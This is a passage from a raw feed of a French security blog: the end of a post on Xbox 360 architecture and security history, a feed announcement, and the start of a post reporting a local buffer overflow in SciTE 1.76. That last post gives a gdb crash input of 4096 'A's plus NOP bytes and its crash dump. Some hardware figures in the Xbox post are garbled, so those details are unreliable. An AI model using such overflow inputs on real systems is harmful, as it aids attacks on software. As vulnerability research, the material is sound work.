color: rgb(204, 204, 204);"&gt;Me revoila ;-) .&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;Depuis plusieurs mois , la &lt;span style="font-style: italic;"&gt;3LRVS&lt;/span&gt; avait debute des recherches sur la securite des consoles Xbox360.&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;Malheureusement , faute de temps et surtout de matos , nous avions mis de coté ces recherches , attendant de pouvoir avancer de f&lt;span lang="fr-FR"&gt;açon plus "concrete".&lt;/span&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;&lt;span lang="fr-FR"&gt;C'est chose faite , la &lt;span style="font-style: italic;"&gt;3LRVS&lt;/span&gt; va reprendre du service \o/ , voila donc le moment opportunt pour vous proposer un article condensé sur l'architecture et les bases de la securite sur ce type de machines en attendant nos premiere trouvailles (enfin , espérons le :P ).&lt;/span&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;&lt;span lang="fr-FR"&gt;Let's go :&lt;/span&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(255, 204, 102); font-weight: bold;"&gt;[*]Caractéristiques de l'architecture de la Xbox 360 :&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;- Processeur (XCPU Xenon): &lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;                    PowerPC G5 d'IBM x64 3-cores cadence a 3.2Ghz (1,6 Ghz en reel) .&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;                    Multithreads (2 threads [SMT] par core  : 1 en FPU + 1 en VMX) &lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;                    192Mo de cache total en L1 (level 1 ) et 1Mo en L2 (mode utilisateur)&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;  &lt;span style="color: rgb(255, 0, 0);"&gt;*Soit: 32Kb en cache (instructions) + 32Kb en cache (donnees) , en Level 1&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;(kernel mode).&lt;/span&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;- Memoire vive (RAM):  512 GDDR3 - 700 Mhz partagee avec le cpu Bande passante de 21.6 Go/s&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;- Architecture : PPC Big Endian (IBM)&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;( &lt;a href="http://fr.wikipedia.org/wiki/Xenon_%28processeur%29"&gt;http://fr.wikipedia.org/wiki/Xenon_(processeur)&lt;/a&gt; )&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(255, 204, 102); font-weight: bold;"&gt;[*] Prerequis :&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;&lt;span style="font-weight: bold;"&gt;- FPU&lt;/span&gt; (Floating Point Unit) :&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;   Est un processeur dédié spécialement conçu pour effectuer des opérations sur des nombres à virgule flottante&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;( &lt;a style="color: rgb(51, 51, 255);" href="http://fr.wikipedia.org/wiki/Unit%C3%A9_de_calcul_en_virgule_flottan"&gt;http://fr.wikipedia.org/wiki/Unit%C3%A9_de_calcul_en_virgule_flottan&lt;/a&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;te &lt;span style="color: rgb(204, 204, 204);"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;&lt;span style="font-weight: bold;"&gt;- VMX:&lt;/span&gt; les VMX implémentent des instructions ternaires spécifiant deux registres source et un registre destination, ainsi qu’un registre de modification optionnel.&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;       Ils sont utilisés notament dans le cadre d’additions ou de multiplications (ici étendu a 128 Bits) a raison de 2 cycles gérant 4 instructions chacun.&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;(&lt;a href="http://fr.wikipedia.org/wiki/AltiVec"&gt; http://fr.wikipedia.org/wiki/AltiVec &lt;/a&gt;)&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;&lt;span style="font-weight: bold;"&gt;- SIMD:&lt;/span&gt; le SIMD regroupe les deux coprocesseurs vectoriels VMX128 (similaires à AltiVec) avec 2 bancs de registres (128×128 bits) pour chaques coeurs.&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;      &lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204); font-weight: bold;"&gt;- SMT  (Symetric Material Thread):  &lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;   Systeme de multi threads symétriques &lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;     (2 par coeurs soit 6 threads au total pour les jeux)&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;               &lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt; &lt;span style="font-weight: bold;"&gt;- eFuse :&lt;/span&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;Securite sur le bootloader permettant de tester la présence du firmware proprietaire  .&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;   Capacité: 768 bits -&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;Patche depuis la version (ou MaJ) kernel &gt;= 4552&lt;/span&gt; (afin d'eviter les downgrade , voir la partie "securite").&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(255, 204, 102); font-weight: bold;"&gt;[+]Schema simplifié du processeur PowerPC (Xenon) d'IBM utilisé:&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2PS8BofuJBc/TFmDZqRrTGI/AAAAAAAAABI/34CNouWhuVw/s1600/Xbox_Architecture_large.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 280px;" src="http://1.bp.blogspot.com/_2PS8BofuJBc/TFmDZqRrTGI/AAAAAAAAABI/34CNouWhuVw/s320/Xbox_Architecture_large.gif" alt="" id="BLOGGER_PHOTO_ID_5501572896678169698" border="0" /&gt;&lt;/a&gt;&lt;p dir="ltr" style="text-align: left;"&gt;
&lt;br /&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left;"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left;"&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;                  &lt;span style="font-style: italic;"&gt;128 Registres&lt;/span&gt;:&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt; Les 32 premiers mappés aux 32 registres(enregistreurs) qui existent dans la génération précédente&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;  de processeurs PowerPC(pour la compatibilité binaire) .&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;A ce processeur triple coeur viennent s'ajouter les 2 coprocesseur  vectoriels (relatif aux données)  VMX128 (similaires à AltiVec) avec 2 bancs de registres (128×128 bit) pour chaque coeur.(VMX128 Bits doubles coeurs)&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;L'utilisateur a en outre la possibilité d'utiliser l'ensemble des registres normaux fournis par le PowerPC et les 32 registres vectoriels fournis par VMX de manière simultanée.&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;(jeu de 32 registres vectoriels 128 bits permettent alors de stocker 16 entiers 8 bits signés ou non signés, 8 entiers 16 bits signés ou non signés, 4 entiers 32 bits signés ou non signés ou bien 4 nombre réels 32-bit en virgule flottantes)&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(255, 204, 102); font-weight: bold;"&gt;[*] Sécurité  :&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;Les concepts de sécurité sont identiques à ceux définis sur l'architecture POWER (contrôle des accès au niveau des segments et des pages).&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt; La séparation superviseur / utilisateur se fait au niveau des segments ou des blocs. Chaque processus utilisateur dispose de 16 segments dont deux sont réservés au noyau (accessible en mode superviseur). &lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;  À noter cependant qu'il est possible d'effectuer des accès à la mémoire qui ne supportent aucun contrôle. Il suffit pour cela de désactiver tous les mécanismes de traduction d'adresses. &lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;ROM (et SRAM de 64 kbytes) contenant le programme de démarrage Secure Bootloader de Microsoft, et un Hyperviseur de cryptage pour générer des clés&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;de chiffrement aléatoire.&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;Ce meme Hyperviseur  a pu permettre par exemple une exploitation &lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;(il y en a eu d'autres, et d'autre sont a l'etude)&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt; via une injection au travers de shaders de jeu (King Kong) , permettant ainsi d'executer du code arbitraire directement en mode kernel .&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;En effet , les vectors shaders utilises  benefient d'un acces a la memoire non controles .&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;(Ce jeu utilise des shaders compilés avec Microsoft D3DX9 Shader Compiler 9.04.91.0000)&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;Pour ce faire , Crawler360 (la super crapule :P) a du convertir son code en shader puis developper un petit loader utilisable par le port de serie .&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p dir="ltr" style="text-align: left; color: rgb(204, 204, 204);"&gt;Malheureusement , les MaJ du kernel vers la version 4552 (ou superieure) bloquent les tentatives de Downgrades et donc l'exploitation de cette vulnerabilitee de l'Hyperviseur .&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt;Neanmoins , d''autre exploitations de ce type restent a envisager (et font l'objet de recherche active) .&lt;/p&gt;    &lt;p style="color: rgb(204, 204, 204);"&gt; Voila , la petite presentation de la Xbox 360 est maintenant finie , j'espere que ça pourra servir a d'autres , n'hésitez pas a partager vos idées/trouvailles , c'est important .&lt;/p&gt;&lt;p style="color: rgb(204, 204, 204);"&gt;See you ..
&lt;br /&gt;&lt;/p&gt;&lt;p style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 204, 102);font-size:85%;" &gt;/--------------- RESSOURCES UTILES ---------------\&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://fr.wikipedia.org/wiki/SIMD"&gt;Simd&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://fr.wikipedia.org/wiki/SIMD"&gt;&lt;/a&gt;&lt;a href="http://fr.wikipedia.org/wiki/Shader"&gt;Shaders&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://fr.wikipedia.org/wiki/SIMD"&gt;&lt;/a&gt;&lt;a href="http://www.free60.org/Main_Page"&gt;Free60&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://fr.wikipedia.org/wiki/SIMD"&gt;&lt;/a&gt;&lt;a href="http://x360.gx-mod.com/modules/news/"&gt;x60&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://fr.wikipedia.org/wiki/SIMD"&gt;&lt;/a&gt;&lt;a href="http://www.ibm.fr"&gt;ibm&lt;/a&gt;
&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;span style="font-size:85%;"&gt;&lt;a href="http://www.blogger.com/www.ibm.fr/"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;   &lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-503160923466471372?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/4r4v-E7PGAx1GX34uk_xVWfz_BA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/4r4v-E7PGAx1GX34uk_xVWfz_BA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/4r4v-E7PGAx1GX34uk_xVWfz_BA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/4r4v-E7PGAx1GX34uk_xVWfz_BA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/a_txOJxaQrM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/503160923466471372/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=503160923466471372" title="1 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/503160923466471372?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/503160923466471372?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/a_txOJxaQrM/xbox-360-security-chapter-1.html" title="Xbox 360 Security : Chapter 1" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_2PS8BofuJBc/TFmDZqRrTGI/AAAAAAAAABI/34CNouWhuVw/s72-c/Xbox_Architecture_large.gif" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2010/08/xbox-360-security-chapter-1.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D08NR3w4cCp7ImA9Wx5TFks.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-168995985425462065</id><published>2010-08-01T14:26:00.003+02:00</published><updated>2010-08-01T14:31:36.238+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-01T14:31:36.238+02:00</app:edited><title>flux now avaible</title><content type="html">&lt;span style="color: rgb(204, 204, 204);"&gt;Salut a tous!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Etant donné que je compte balancer pas mal d'anneries ici dans les mois a venir, j'ai décidé de lancer mon flux afin de se tenir informé de l'activitée du blog .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Pour ceux que ça intéresse:&lt;/span&gt; &lt;a href="http://feeds.feedburner.com/KmkzsBlog"&gt;link&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;A trés bientot ;-)&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-168995985425462065?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ol5AxSPTxS3a73TcGQXTKgvX4r8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ol5AxSPTxS3a73TcGQXTKgvX4r8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ol5AxSPTxS3a73TcGQXTKgvX4r8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ol5AxSPTxS3a73TcGQXTKgvX4r8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/Ryq73W5FUC0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/168995985425462065/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=168995985425462065" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/168995985425462065?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/168995985425462065?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/Ryq73W5FUC0/flux-now-avaible.html" title="flux now avaible" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2010/08/flux-now-avaible.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEIBSXc6eCp7ImA9WxFbGUw.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-2031252747726573377</id><published>2010-07-05T22:47:00.000+02:00</published><updated>2010-07-12T07:29:18.910+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-07-12T07:29:18.910+02:00</app:edited><title>[*] Scite Text Editor 1.76 PoC : Local BoF vulnerability   ( 0 - Days )</title><content type="html">&lt;span style="color: rgb(192, 192, 192);"&gt;Me revoila :P&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;Je sais que j'ai pas mal zappé ce blog depuis quelques mois , néanmoins j'espere pouvoir m'y remettre entre 2 CTF ..&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;Bref, osef d'ma vie , place a la présentation , certe rapide , mais néanmoins simpa (bien que trés trés incomplete ) du Buffer Overflow que j'ai eu l'occasion de&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;découvrir dans la version 1.76  de Scite text Editor .&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;L'environnement d'audit est un&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;2.6.31-22&lt;/span&gt; &lt;span style="color: rgb(192, 192, 192);"&gt;, néanmoins , les essais effectués sur des versions antérieures donne d'autres résultats assez surprenant .&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt; Cet article ne présentera qu'uniquement quelques dumps démontrant la vulnérabilité sans pour autant l'exploiter; l'exploitation aparaitra ici peu etre d'ici pas mal de temps , j'y reviendrait.&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;Place a quelques dumps issus de&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;GNU gdb (GDB) 7.0&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;r `perl -e'print"A"x4096 . "\x90\x90\x90\x90"'`&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Starting program: /usr/bin/scite `perl -e'print"A"x4096 . "\x90\x90\x90\x90"'`&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[Thread debugging using libthread_db enabled]&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;*** buffer overflow detected ***: /usr/bin/scite terminated&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;======= Backtrace: =========&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0x9c7008]&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/lib/tls/i686/cmov/libc.so.6[0x9c6040]&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/lib/tls/i686/cmov/libc.so.6(__strcpy_chk+0x44)[0x9c53b4] &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/usr/bin/scite[0x8082a71]&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/usr/bin/scite[0x8083751]&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/usr/bin/scite[0x805b59c]&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/usr/bin/scite[0x8079382]&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/usr/bin/scite[0x8070944]&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/usr/bin/scite[0x805dc32]&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/usr/bin/scite[0x805dd8a]&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/lib/tls/i686/cmov/libc.so.6(__libc_start_main+0xe6)[0x8fcb56]&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/usr/bin/scite[0x8052d41]&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;======= Memory map: ========&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00110000-0012b000 r-xp 00000000 08:01 146        /lib/ld-2.10.1.so&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0012b000-0012c000 r--p 0001a000 08:01 146        /lib/ld-2.10.1.so&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0012c000-0012d000 rw-p 0001b000 08:01 146        /lib/ld-2.10.1.so&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0012d000-0012e000 r-xp 00000000 00:00 0          [vdso]&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0012e000-004e6000 r-xp 00000000 08:01 262811     /usr/lib/libgtk-x11-2.0.so.0.1800.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;004e6000-004e7000 ---p 003b8000 08:01 262811     /usr/lib/libgtk-x11-2.0.so.0.1800.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;004e7000-004eb000 r--p 003b8000 08:01 262811     /usr/lib/libgtk-x11-2.0.so.0.1800.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;004eb000-004ed000 rw-p 003bc000 08:01 262811     /usr/lib/libgtk-x11-2.0.so.0.1800.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;004ed000-004ef000 rw-p 00000000 00:00 0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;004ef000-00581000 r-xp 00000000 08:01 262814     /usr/lib/libgdk-x11-2.0.so.0.1800.3&lt;/span&gt;
